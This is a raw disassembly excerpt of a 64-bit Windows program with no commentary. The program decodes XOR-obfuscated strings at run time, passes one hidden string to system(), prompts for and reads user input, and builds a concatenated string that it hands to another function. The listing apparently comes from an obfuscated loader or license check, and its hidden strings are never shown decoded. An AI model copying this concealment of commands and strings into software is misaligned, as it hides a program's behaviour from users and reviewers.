mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
movabs rcx, 0x6e5e413bb15f40b8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d30], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3d38], rax
movdqa xmm0, xmmword [rbp + 0x330]
pxor xmm0, xmmword [rbp + 0x3d30]
movdqa xmmword [rbp + 0x330], xmm0
lea r8, [0x14012b4c8]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x2010]
call fcn.140042530
nop
mov r8d, 1
lea rdx, [0x14010af9c]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1860]
call fcn.14000e440
nop
lea r9, [rbp + 0x1880]
lea r8, [rbp + 0x1860]
movzx edx, byte [rbp + 0xd]
lea rcx, [rbp + 0x1840]
call fcn.140043a30
nop
lea rax, [rbp + 0x1f0]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140039970
mov r8, rbx
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1840]
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1820]
call fcn.14000e440
nop
lea r8, [0x14012a090]
lea rdx, [rbp + 0x1820]
lea rcx, [rbp + 0x2030]
call fcn.140042e40
nop
mov r8d, 3
lea rdx, [0x14010a4c0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1640]
call fcn.14000e440
nop
mov rdx, rdi
lea rcx, [rbp + 0x1640]
call fcn.140030f00
nop
lea rcx, [rbp + 0x2030]
call fcn.140007980
nop
lea rcx, [rbp + 0x1820]
call fcn.140007980
nop
lea rcx, [rbp + 0x1840]
call fcn.140007980
nop
lea rcx, [rbp + 0x1860]
call fcn.140007980
nop
lea rcx, [rbp + 0x2010]
call fcn.140007980
nop
lea rcx, [rbp + 0x1880]
jmp 0x14003a0aa
lea rax, [rbp + 0x1ff0]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x8c], al
mov byte [rbp + 0x8d], al
mov byte [rbp + 0x8e], al
mov byte [rbp + 0x8f], al
mov byte [rbp + 0x90], al
mov byte [rbp + 0x91], al
mov byte [rbp + 0x92], al
mov byte [rbp + 0x93], al
mov byte [rbp + 0xc], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xce0], rax
movabs r12, 0x403a3354d22c29dc
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xce8], rax
movabs r13, 0x1c113ac59ec563ea
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xcf0], rax
movabs rsi, 0x30b70f22337000f5
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xcf8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd00], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xd08], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0xd10], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0xd18], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0xd20], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0xd28], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd30], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd48], rax
movabs rax, 0x62d1dc4ce792a3c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd50], rax
movabs rax, 0x60a3769940942f23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd58], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4520], rax
movabs rbx, 0x6e5e413bb15f40b8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4528], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4530], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4538], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4560], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4568], rax
movabs r14, 0xf5601b1c3d70d771
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4570], rax
movabs r15, 0xe6dc6c05a439106a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4578], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4580], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4588], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4590], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4598], rax
vmovdqu ymm0, ymmword [rbp + 0xce0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4520]
vmovdqa ymmword [rbp + 0xce0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd00]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0xd00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd20]
vpxor ymm1, ymm0, ymmword [rbp + 0x4560]
vmovdqa ymmword [rbp + 0xd20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4580]
vmovdqa ymmword [rbp + 0xd40], ymm1
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x1ff0]
vzeroupper
call fcn.140007250
mov rdi, rax
movabs rax, 0xd2103dcd73c726bf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x10a0], rcx
movabs rax, 0x217e2848d42c2cfd
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x10a8], rcx
movabs rax, 0x5a1924e191dd68e5
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x10b0], rcx
movabs rax, 0x26af0e28387b29a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10b8], rax
movabs rax, 0x80a4a7e414abe503
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10c0], rax
movabs rcx, 0xd68cf8ffcf72a52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x10c8], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f48], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f50], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f58], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f60], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3f68], rax
vmovdqu ymm0, ymmword [rbp + 0x10a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f40]
vmovdqa ymmword [rbp + 0x10a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x10c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3f60]
vmovdqa xmmword [rbp + 0x10c0], xmm0
mov edx, 0x1a0a
lea rcx, [rbp + 0x1560]
vzeroupper
call fcn.140011310
nop
movabs rax, 0xf278498a7dc20abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d28], rax
movdqa xmm0, xmmword [rbp + 0x340]
pxor xmm0, xmmword [rbp + 0x3d20]
movdqa xmmword [rbp + 0x340], xmm0
lea r8, [0x14012b4c8]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1fb0]
call fcn.140042530
nop
mov r8d, 1
lea rdx, [0x14010af9c]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x1540]
call fcn.14000e440
nop
lea r9, [rbp + 0x1560]
lea r8, [rbp + 0x1540]
movzx edx, byte [rbp + 0xc]
lea rcx, [rbp + 0x18e0]
call fcn.140043a30
nop
lea rax, [rbp + 0x10a0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140039fe3
mov r8, rbx
lea rdx, [rbp + 0x10a0]
lea rcx, [rbp + 0x18e0]
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x18c0]
call fcn.14000e440
nop
lea r8, [0x14012a090]
lea rdx, [rbp + 0x18c0]
lea rcx, [rbp + 0x1fd0]
call fcn.140042e40
nop
mov r8d, 3
lea rdx, [0x14010a4c0]
mov rcx, rax
call fcn.14000e620
mov rdx, rax
lea rcx, [rbp + 0x15c0]
call fcn.14000e440
nop
mov rdx, rdi
lea rcx, [rbp + 0x15c0]
call fcn.140030f00
nop
lea rcx, [rbp + 0x1fd0]
call fcn.140007980
nop
lea rcx, [rbp + 0x18c0]
call fcn.140007980
nop
lea rcx, [rbp + 0x18e0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1540]
call fcn.140007980
nop
lea rcx, [rbp + 0x1fb0]
call fcn.140007980
nop
lea rcx, [rbp + 0x1560]
call fcn.140007980
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x14012b376], 0
jne 0x14003be72
xor eax, eax
mov byte [rbp + 0x94], al
mov byte [rbp + 0x95], al
mov byte [rbp + 0x96], al
movabs rax, 0xbc370a8a58e625d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0x5b6b7c68fd100398
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0x24519e1ffe140a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
movabs rax, 0x43dc604d5b1265b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x978], rax
movabs rdi, 0xf27849aa1da26a9f
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4380], rax
movabs rbx, 0x6e5e413bb15f40b8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4388], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4390], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4398], rax
vmovdqu ymm0, ymmword [rbp + 0x960]
vpxor ymm1, ymm0, ymmword [rbp + 0x4380]
vmovdqa ymmword [rbp + 0x960], ymm1
lea rcx, [rbp + 0x960]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x97], al
mov byte [rbp + 0x98], al
mov byte [rbp + 0x99], al
lea rdx, [0x140030720]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x9e2869f722f94a95
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x13a0], rcx
movabs rax, 0x1a30241bd42c21dd
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x13a8], rcx
movabs rax, 0x130a3fcbc8887eec
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x13b0], rcx
movabs rax, 0x62b913233e710cee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13b8], rax
movabs rdx, 0x80a487de6dceae23
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x13c0], rax
movabs rcx, 0xd68cf8ffcf72a52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x13c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f80], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f88], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f90], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f98], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3fa0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3fa8], rax
vmovdqu ymm0, ymmword [rbp + 0x13a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f80]
vmovdqa ymmword [rbp + 0x13a0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x13c0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3fa0]
vmovdqa xmmword [rbp + 0x13c0], xmm0
lea rdx, [rbp + 0x13a0]
mov rcx, r8
vzeroupper
call fcn.14000baf0
lea rdx, [0x14000bce0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov byte [rbp + 0x9a], al
mov byte [rbp + 0x9b], al
mov byte [rbp + 0x9c], al
lea rdx, [0x140030780]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0xd24269d378e94a95
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x350], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x358], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3d10], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d18], rax
movdqa xmm0, xmmword [rbp + 0x350]
pxor xmm0, xmmword [rbp + 0x3d10]
movdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
mov rcx, r8
call fcn.14000baf0
lea rdx, [rbp + 0x2e10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140043d10
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x1f90]
call fcn.14000e470
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.14008a430
cmp byte [rbp + 0x3320], 0
jne 0x14003ad3b
lea rax, [rbp + 0x1f70]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd68], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd78], rax
movabs rax, 0xb292b5ed5ffc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd80], rax
movabs rax, 0xeeb4c9ccf6419719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd88], rax
movabs rax, 0xf9f7bf4770d57818
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd90], rax
movabs rax, 0x6d4ed14401c62ac1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd98], rax
movabs rax, 0x1873a5372417d752
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xda0], rax
movabs rax, 0x9fdb5737c01c0151
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xda8], rax
movabs rax, 0xc53f2e480f179e00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdb0], rax
movabs rax, 0xb4a93577eb6f5d39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdb8], rax
movabs rax, 0xfdf6ebc07357fbe8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdc0], rax
movabs rax, 0x17d265b0ee8de58c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdc8], rax
movabs rax, 0x73c6f16ca59a86a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdd0], rax
movabs rax, 0x60a3769940942f1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xdd8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3800], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movabs r13, 0x33784aa4b1a80c89
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
movabs r12, 0x43dc604d5b126582
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3820], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3840], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3860], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3868], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3870], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3878], rax
vmovdqu ymm0, ymmword [rbp + 0xd60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3800]
vmovdqa ymmword [rbp + 0xd60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xd80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3820]
vmovdqa ymmword [rbp + 0xd80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xda0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3840]
vmovdqa ymmword [rbp + 0xda0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xdc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3860]
vmovdqa ymmword [rbp + 0xdc0], ymm1
lea rdx, [rbp + 0xd60]
lea rcx, [rbp + 0x1f70]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x3a0], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x3a8], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x3d00], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d08], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
pxor xmm0, xmmword [rbp + 0x3d00]
movdqa xmmword [rbp + 0x3a0], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3cf0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3cf8], rax
movdqa xmm0, xmmword [rbp + 0x390]
pxor xmm0, xmmword [rbp + 0x3cf0]
movdqa xmmword [rbp + 0x390], xmm0
lea rcx, [rbp + 0x1db0]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x380], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x388], rcx
movabs r14, 0xf27849aa1da26a9f
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x3ce0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ce8], rax
movdqa xmm0, xmmword [rbp + 0x380]
pxor xmm0, xmmword [rbp + 0x3ce0]
movdqa xmmword [rbp + 0x380], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs r15, 0x6e5e413bb17f6082
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3cd0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3cd8], rax
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0x3cd0]
movdqa xmmword [rbp + 0x370], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x1dd0]
call fcn.140011310
mov rbx, rax
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9a0], rcx
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9a8], rcx
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9b0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x9b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3880], rax
movabs rcx, 0x6e5e413bb15f40b8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3888], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3890], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3898], rax
vmovdqu ymm0, ymmword [rbp + 0x9a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3880]
vmovdqa ymmword [rbp + 0x9a0], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3cc0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3cc8], rax
vmovdqa xmm0, xmmword [rbp + 0x360]
vpxor xmm0, xmm0, xmmword [rbp + 0x3cc0]
vmovdqa xmmword [rbp + 0x360], xmm0
movabs rax, 0x860b3cf83dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x980], rax
movabs rax, 0x73f071bde2d1098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x988], rax
movabs rax, 0x5a1f25e891cc69e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x990], rax
movabs rax, 0x43dc604d7b325fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x998], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0x980]
vpxor ymm1, ymm0, ymmword [rbp + 0x37e0]
vmovdqa ymmword [rbp + 0x980], ymm1
lea r8, [0x14012a090]
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x1df0]
vzeroupper
call fcn.140042530
nop
lea r8, [rbp + 0x360]
mov rdx, rax
lea rcx, [rbp + 0x1e10]
call fcn.140042690
nop
lea r8, [0x14012b4c8]
mov rdx, rax
lea rcx, [rbp + 0x1e30]
call fcn.140042e40
nop
lea r8, [rbp + 0x9a0]
mov rdx, rax
lea rcx, [rbp + 0x1e50]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1e70]
call fcn.140042e20
nop
lea r8, [rbp + 0x370]
mov rdx, rax
lea rcx, [rbp + 0x1e90]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x1eb0]
call fcn.140042e40
nop
lea r8, [rbp + 0x380]
mov rdx, rax
lea rcx, [rbp + 0x2190]
call fcn.140042690
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1ef0]
call fcn.140042e20
nop
lea r8, [rbp + 0x390]
mov rdx, rax
lea rcx, [rbp + 0x1f10]
call fcn.140042690
nop
lea r8, [rbp + 0x3328]
mov rdx, rax
lea rcx, [rbp + 0x1f30]
call fcn.140042e40
nop
lea r8, [rbp + 0x3a0]
mov rdx, rax
lea rcx, [rbp + 0x1f50]
call fcn.140042690
nop
mov rdx, rsi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x1f30]
call fcn.140007240
nop
lea rcx, [rbp + 0x1f10]
call fcn.140007240
nop
lea rcx, [rbp + 0x1ef0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2190]
call fcn.140007240
nop
lea rcx, [rbp + 0x1eb0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1e90]
call fcn.140007240
nop
lea rcx, [rbp + 0x1e70]
call fcn.140007240
nop
lea rcx, [rbp + 0x1e50]
call fcn.140007240
nop
lea rcx, [rbp + 0x1e30]
call fcn.140007240
nop
lea rcx, [rbp + 0x1e10]
call fcn.140007240
nop
lea rcx, [rbp + 0x1df0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1dd0]
call fcn.140007240
nop
lea rcx, [rbp + 0x1db0]
call fcn.140007240
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0x108
lea rcx, [rbp + 0x36c0]
call fcn.140004530
xor eax, eax
mov byte [rbp + 0x9d], al
